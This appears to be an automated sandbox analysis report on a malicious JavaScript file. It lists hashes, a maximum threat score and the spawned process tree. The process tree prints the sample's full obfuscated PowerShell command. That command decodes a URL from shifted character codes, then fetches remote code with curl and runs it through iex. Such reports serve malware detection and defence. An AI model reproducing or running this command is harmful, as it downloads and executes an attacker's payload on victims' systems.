Analysis
-
max time kernel
121s -
max time network
125s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
-
submitted
21-12-2024 14:52
General
-
Target
f2f329a6e8cbe33c20645525755d51d997ca9939274d7f33c08e1c753f3bfe12.js
-
Size
255KB
-
MD5
8a64f332eec507a5ca7cdecdd3329584
-
SHA1
13f633512645b00097c8658d1ff05fbf7d33aa25
-
SHA256
f2f329a6e8cbe33c20645525755d51d997ca9939274d7f33c08e1c753f3bfe12
-
SHA512
3ce65f5be0c8434f0395d9fc44d5691e11abd361f31018b63b91c56c663417feae9a93785f30ca041ecf08cc1d437a12547664ed12bd622fb8e7abba94117e62
-
SSDEEP
1536:nwpImsQw3kO6iF8n7aJYgA/x7ncxtcGBwokj3AmsQw3kO6iF8n7aaYgA/x7ncxtC:n5invc7c9YinSc7c98c7c9minUinw
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\f2f329a6e8cbe33c20645525755d51d997ca9939274d7f33c08e1c753f3bfe12.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $nicvslh='ur' ;new-alias printout c$($nicvslh)l;$vakxnqferultp=(7839,7850,7858,7842,7844,7839,7859,7858,7863,7796,7858,7792,7839,7787,7857,7852,7853,7788,7790,7787,7853,7845,7853,7804,7856,7802,7850,7846,7851,7857,7856,7791,7790);$ioekvwrtn=('bronx','get-cmdlet');$xrakfqdc=$vakxnqferultp;foreach($wjcqyvxuimzobl in $xrakfqdc){$omwpjuazgl=$wjcqyvxuimzobl;$tyhcwurqjfmz=$tyhcwurqjfmz+[char]($omwpjuazgl-7741);$oznbacvwgqjs=$tyhcwurqjfmz; $kazrubxefsl=$oznbacvwgqjs};$ovklwm[2]=$kazrubxefsl;$aoilnefvxzrhdk='rl';$ygbflqzjcvxude=1;.$([char](9992-9887)+'e'+'x')(printout -useb $kazrubxefsl)1⤵
- Process spawned unexpected child process